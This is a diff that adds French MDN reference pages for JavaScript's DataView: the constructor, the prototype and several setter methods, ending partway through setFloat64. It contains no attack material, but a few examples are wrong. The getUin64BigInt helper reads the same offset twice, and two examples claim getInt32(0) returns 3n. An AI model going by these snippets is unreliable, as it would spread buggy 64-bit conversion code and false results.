index 0000000000..f8887888d7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/index.html
@@ -0,0 +1,166 @@
+---
+title: DataView
+slug: Web/JavaScript/Reference/Objets_globaux/DataView
+tags:
+  - Constructor
+  - DataView
+  - JavaScript
+  - Reference
+  - TypedArray
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView
+---
+<div>{{JSRef}}</div>
+
+<p>La vue <strong><code>DataView</code></strong> fournit une interface de bas niveau pour lire et écrire des données de différents types numériques dans un {{jsxref("ArrayBuffer")}}, quel que soit le « <a href="https://fr.wikipedia.org/wiki/Endianness">boutisme</a> » de la plate-forme.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-constructor.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new DataView(buffer [, décalageOctets [, longueurOctets]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>buffer</code></dt>
+ <dd>Un {{jsxref("ArrayBuffer")}} ou {{jsxref("SharedArrayBuffer")}}{{experimental_inline}} existant à utiliser pour la mise en mémoire du nouvel objet <code>DataView</code>.</dd>
+ <dt><code>décalageOctets </code>{{optional_inline}}</dt>
+ <dd>Le décalage, exprimé en octets, pour trouver le premier octet significatif du buffer à représenter dans la vue. Si ce paramètre n'est pas fourni, la vue commencera au premier octet du buffer.</dd>
+ <dt><code>longueurOctets </code>{{optional_inline}}</dt>
+ <dd>Le nombre d'éléments dans le tableau d'octets. Si ce paramètre n'est pas fourni, la longueur de la vue correspondra à celle du buffer.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>DataView</code> représentant le tampon mémoire (<em>buffer</em>) fourni.</p>
+
+<p>L'objet ainsi renvoyé peut être vu comme un interpréteur du tampon mémoire. Cet objet sait comment convertir des nombres afin de lire ou d'écrire des valeurs dans le tampon. C'est la vue qui s'occupe de la gestion des entiers, de la conversion des flottants, du boutisme utilisé et des autres détails de représentation binaire.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt><code>{{jsxref("RangeError")}}</code></dt>
+ <dd>Renvoyée si les paramètres <code>décalageOctets</code> et <code>longueurOctets</code> dépassent la fin du buffer fourni.</dd>
+</dl>
+
+<p>Ainsi, si la taille du tampon mémoire est de 16 octets, que <code>décalageOctets</code>vaut 8 et que <code>longueurOctets</code> vaut 10, cette exception est levée car la vue résultante dépassera de deux octets la longueur totale du tampon mémoire.</p>
+
+<h2 id="Description">Description</h2>
+
+<h3 id="Le_boutisme_(endianness)">Le boutisme (<em>endianness</em>)</h3>
+
+<p>En utilisant cet objet, vous pouvez détecter le type d'architecture qui exécute votre script, ce qui peut être utile dans certains cas. Voici un fragment de code pour permettre cette détection. Voir {{Glossary("Endianness")}} pour plus d'informations.</p>
+
+<pre class="brush: js">var littleEndian = (function() {
+  var buffer = new ArrayBuffer(2);
+  new DataView(buffer).setInt16(0, 256, true /*littleEndian donc */);
+  // Int16Array utilise le boutisme de la plate-forme
+  return new Int16Array(buffer)[0] === 256;
+})();
+console.log(littleEndian); // true ou false
+</pre>
+
+<h3 id="Gestion_des_valeurs_entières_sur_64_bits">Gestion des valeurs entières sur 64 bits</h3>
+
+<p>JavaScript manipule les nombres comme des valeurs sur 32 bits. Aussi, le moteur ne prend pas en charge la gestion des entiers sur 64 bits et on ne peut donc pas manipuler de telles valeurs avec <code>DataView</code>. Afin de contourner ce problème, on peut implémenter une méthode <code>getUint64()</code> afin d'otbenir une valeur avec une précision allant jusqu'à {{jsxref("Number.MAX_SAFE_INTEGER")}}, ce qui peut être suffisant dans certains cas.</p>
+
+<pre class="brush: js">function getUint64(dataview, byteOffset, littleEndian) {
+  // on décompose la valeur 64 sur bits en deux nombres 32 bits
+  const gauche = dataview.getUint32(byteOffset, littleEndian);
+  const droite = dataview.getUint32(byteOffset + 4, littleEndian);
+
+  // on combine les deux valeurs 32 bits
+  const combinaison = littleEndian ? gauche + 2**32*droite : 2**32*gauche + droite;
+  if(!Number.isSafeInteger(combinaison)){
+    console.warn(combinaison, " dépasse MAX_SAFE_INTEGER : perte de précision !");
+  }
+  return combinaison;
+}</pre>
+
+<p>On peut également créer un objet {{jsxref("BigInt")}} si on veut avoir accès à 64 bits :</p>
+
+<pre class="brush: js">function getUin64BigInt(dataview, byteOffset, littleEndian) {
+  const left = dataview.getUint32(byteOffset, littleEndian);
+  const right = dataview.getUint32(byteOffset, littleEndian);
+
+  const combined = littleEndian ?
+    right.toString(16) + left.toString(16).padStart(8, '0') :
+    left.toString(16) + right.toString(16).padStart(8, '0');
+
+  return BigInt(`0x${combined}`);
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Sur le plan des performances, les grands entiers ({{jsxref("BigInt")}} ont une taille variable, aussi leur manipulation sera nécessairement plus lente que celle des nombres stockés sur 32 bits. Ceci étant écrit, les valeurs natives {{jsxref("BigInt")}} seront plus performantes que les implémentations tierces (bibliothèques, etc.).</p>
+</div>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p>Toutes les instances de <code>DataView</code> héritent de {{jsxref("DataView.prototype")}} qui permet d'ajouter des propriétés à l'ensemble des objets <code>DataView</code>.</p>
+
+<p>{{page("fr/Web/JavaScript/Reference/Objets_globaux/DataView/prototype","Propriétés")}}</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/DataView/prototype','Méthodes')}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var buffer = new ArrayBuffer(16);
+var dv = new DataView(buffer, 0);
+
+dv.setInt16(1, 42);
+dv.getInt16(1); //42
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée par ECMAScript 6</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-dataview-constructor', 'DataView')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview-constructor', 'DataView')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView")}}</p>
+
+<h3 id="Notes_de_compatibilité">Notes de compatibilité</h3>
+
+<p>A partir de Firefox 40 {{geckoRelease(40)}}, <code>DataView</code> doit êre construit avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}. Si on invoque <code>DataView()</code> sans utiliser <code>new</code>, cela lèvera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js example-bad">var dv = DataView(buffer, 0);
+// TypeError: calling a builtin DataView constructor without new is forbidden</pre>
+
+<pre class="brush: js example-good">var dv = new DataView(buffer, 0);</pre>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a class="link-https" href="https://github.com/jDataView/jDataView">jDataView</a> : une bibliothèque JavaScrit qui ajoute des prothèses et des extensions à l'API <code>DataView</code> afin de pouvoir la manipuler au travers des différents navigateurs et de Node.js.</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/prototype/index.html
new file mode 100644
index 0000000000..4ac0d0cf7c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/prototype/index.html
@@ -0,0 +1,119 @@
+---
+title: DataView.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/prototype
+tags:
+  - DataView
+  - JavaScript
+  - Propriété
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>DataView</strong></code><strong><code>.prototype</code></strong> représente le prototype de l'objet {{jsxref("DataView")}}.</p>
+
+<div>{{js_property_attributes(0,0,0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Chacune des instances de <code>DataView</code> hérite de <code>DataView.prototype</code>. Comme pour chacun des constructeurs, il est possible de changer le prototype du constructeur afin d'apporter des modifications pour toutes les instances de <code>DataView</code>.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("DataView.prototype.constructor")}}</dt>
+ <dd>Définit la fonction qui permet de créer le prototype d'un objet. La valeur initiale correspond au constructeur natif standard <code>DataView</code>.</dd>
+ <dt>{{jsxref("DataView.prototype.buffer")}} {{readonlyInline}}</dt>
+ <dd>L'{{jsxref("ArrayBuffer")}} référencé par cette vue. Cette propriété est fixée lors de la construction de l'objet et est donc en <strong>lecture seule.</strong></dd>
+ <dt>{{jsxref("DataView.prototype.byteLength")}} {{readonlyInline}}</dt>
+ <dd>La longueur, exprimée en octets, de la vue à partir du début de son {{jsxref("ArrayBuffer")}}. Cette propriété est fixée lors de la construction de l'objet et est donc en <strong>lecture seule.</strong></dd>
+ <dt>{{jsxref("DataView.prototype.byteOffset")}} {{readonlyInline}}</dt>
+ <dd>Le décalage, exprimé en octets, entre le début de la vue et du {{jsxref("ArrayBuffer")}} correspondant. Cette propriété est fixée lors de la construction de l'objet et est donc en <strong>lecture seule.</strong></dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<h3 id="Lecture">Lecture</h3>
+
+<dl>
+ <dt>{{jsxref("DataView.prototype.getInt8()")}}</dt>
+ <dd>Obtient un entier signé codé sur 8 bits à partir de l'octet de début (potentiellement décalé) de la vue.</dd>
+ <dt>{{jsxref("DataView.prototype.getUint8()")}}</dt>
+ <dd>Obtient un entier non-signé codé sur 8 bits à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.getInt16()")}}</dt>
+ <dd>Obtient un entier signé codé sur 16 bits (<em>short</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.getUint16()")}}</dt>
+ <dd>Obtient un entier non-signé codé sur 16 bits (<em>unsigned short</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.getInt32()")}}</dt>
+ <dd>Obtient un entier signé codé sur 32 bits (<em>long</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.getUint32()")}}</dt>
+ <dd>Obtient un entier non-signé codé sur 32 bits (<em>unsigned long</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.getFloat32()")}}</dt>
+ <dd>Obtient un flottant codé sur 32 bits (<em>float</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.getFloat64()")}}</dt>
+ <dd>Obtient un flottant codé sur 64 bits (<em>double</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.getBigInt64()")}}</dt>
+ <dd>Obtient un entier signé sur 64 bits (<em>long long</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.getBigUint64()")}}</dt>
+ <dd>Obtient un entier non-signé sur 64 bits (<em>unsigned long long</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+</dl>
+
+<h3 id="Écriture">Écriture</h3>
+
+<dl>
+ <dt>{{jsxref("DataView.prototype.setInt8()")}}</dt>
+ <dd>Enregistre un entier signé codé sur 8 bits à partir de l'octet de début (potentiellement décalé) de la vue.</dd>
+ <dt>{{jsxref("DataView.prototype.setUint8()")}}</dt>
+ <dd>Enregistre un entier non-signé codé sur 8 bits à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.setInt16()")}}</dt>
+ <dd>Enregistre un entier signé codé sur 16 bits (<em>short</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.setUint16()")}}</dt>
+ <dd>Enregistre un entier non-signé codé sur 16 bits (<em>unsigned short</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.setInt32()")}}</dt>
+ <dd>Enregistre un entier signé codé sur 32 bits (<em>long</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.setUint32()")}}</dt>
+ <dd>Enregistre un entier non-signé codé sur 32 bits (<em>unsigned long</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.setFloat32()")}}</dt>
+ <dd>Enregistre un flottant codé sur 32 bits (<em>float</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.setFloat64()")}}</dt>
+ <dd>Enregistre un flottant codé sur 64 bits (<em>double</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.setBigInt64()")}}</dt>
+ <dd>Enregistre un entier signé sur 64 bits (<em>long long</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+ <dt>{{jsxref("DataView.prototype.setBigUint64()")}}</dt>
+ <dd>Enregistre un entier non-signé sur 64 bits (<em>unsigned long long</em> par analogie avec le type C) à partir de l'octet de début de la vue (potentiellement décalé).</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-dataview.prototype', 'DataView.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype', 'DataView.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.prototype")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setbigint64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setbigint64/index.html
new file mode 100644
index 0000000000..c65978bd74
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/setbigint64/index.html
@@ -0,0 +1,84 @@
+---
+title: DataView.prototype.setBigInt64()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/setBigInt64
+tags:
+  - BigInt
+  - DataView
+  - JavaScript
+  - Méthode
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setBigInt64
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>setBigInt64()</code></strong> permet d'enregister un entier signé sur 64 bits (type <em>long long</em> par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setbigint64.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setBigInt64(positionOctet, value [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à enregistrer</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} Indique si la donnée sur 64 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut <code>false</code> ou <code>undefined</code>, l'ordre sera celui des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel que l'enregistrement sera fait en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setBigInt64()">Utilisation de la méthode <code>setBigInt64()</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setBigInt64(0, 3n);
+dataview.getInt32(0); // 3n
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-dataview.prototype.setbigint64">Proposition pour <code>DataView.prototype.setBigInt64()</code></a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.setBigInt64")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setbiguint64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setbiguint64/index.html
new file mode 100644
index 0000000000..21ab72e54b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/setbiguint64/index.html
@@ -0,0 +1,85 @@
+---
+title: DataView.prototype.setBigUint64()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/setBigUint64
+tags:
+  - BigInt
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setBigUint64
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>setBigUint64()</code></strong> permet d'enregister un entier non-signé sur 64 bits (type <em>unsigned long long</em> par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setbiguint64.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setBigUint64(positionOctet, value [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en nombre d'octets, à partir du début de la vue à laquelle enregistrer la donnée.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à enregistrer</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} Indique si la donnée sur 64 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut <code>false</code> ou <code>undefined</code>, l'ordre sera celui des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel que l'enregistrement sera fait en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setBigUint64()">Utilisation de la méthode <code>setBigUint64()</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setBigUint64(0, 3n);
+dataview.getInt32(0); // 3n
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-bigint/#sec-dataview.prototype.setBigUint64">Proposition pour <code>DataView.prototype.setBigUint64()</code></a></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.setBigUint64")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("BigInt")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat32/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat32/index.html
new file mode 100644
index 0000000000..ebea17bc04
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat32/index.html
@@ -0,0 +1,95 @@
+---
+title: DataView.prototype.setFloat32()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/setFloat32
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setFloat32
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>setFloat32()</code></strong> permet d'enregistrer un nombre flottant signé sur 32 bits (type <em>float</em> par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setfloat32.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setFloat32(positionOctet, valeur [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à enregistrer</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} Indique si la donnée sur 32 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut <code>false</code> ou <code>undefined</code>, l'ordre sera celui des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel que l'enregistrement sera fait en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setFloat32">Utilisation de la méthode <code>setFloat32</code></h3>
+
+<pre class="brush:js">var buffer = new ArrayBuffer(8);
+var dataview = new DataView(buffer);
+dataview.setFloat32(1, 3);
+dataview.getFloat32(1); // 3
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Typed Array')}}</td>
+   <td>{{Spec2('Typed Array')}}</td>
+   <td>Remplacée dans ECMAScript 2015.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-dataview.prototype.setfloat32', 'DataView.prototype.setFloat32')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-dataview.prototype.setfloat32', 'DataView.prototype.setFloat32')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.DataView.setFloat32")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat64/index.html b/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat64/index.html
new file mode 100644
index 0000000000..e8db496af9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/dataview/setfloat64/index.html
@@ -0,0 +1,95 @@
+---
+title: DataView.prototype.setFloat64()
+slug: Web/JavaScript/Reference/Objets_globaux/DataView/setFloat64
+tags:
+  - DataView
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+  - TypedArrays
+translation_of: Web/JavaScript/Reference/Global_Objects/DataView/setFloat64
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>setFloat64()</code></strong> permet d'enregistrer un nombre flottant signé sur 64 bits (type <em>double</em> par analogie avec C) à l'octet indiqué par rapport au début de la {{jsxref("DataView")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/dataview-setfloat64.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>dataview</var>.setFloat64(positionOctet, value [, littleEndian])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>positionOctet</code></dt>
+ <dd>La position, exprimée en numéro d'octet, à partir du début de la vue à laquelle enregistrer la donnée.</dd>
+ <dt><code>valeur</code></dt>
+ <dd>La valeur à enregistrer</dd>
+ <dt><code>littleEndian</code></dt>
+ <dd>{{optional_inline}} Indique si la donnée sur 64 bits est enregistrée {{Glossary("Endianness", "dans l'ordre des octets de poids faibles")}}. Si ce paramètre vaut <code>false</code> ou <code>undefined</code>, l'ordre sera celui des octets de poids forts.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>{{jsxref("undefined")}}.</p>
+
+<h3 id="Erreurs_renvoyées">Erreurs renvoyées</h3>
+
+<dl>
+ <dt>{{jsxref("RangeError")}}</dt>
+ <dd>Renvoyée si <code>positionOctet</code> est tel que l'enregistrement sera fait en dehors de la vue.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setFloat64">Utilisation de la méthode <code>setFloat64</code></h3>
+
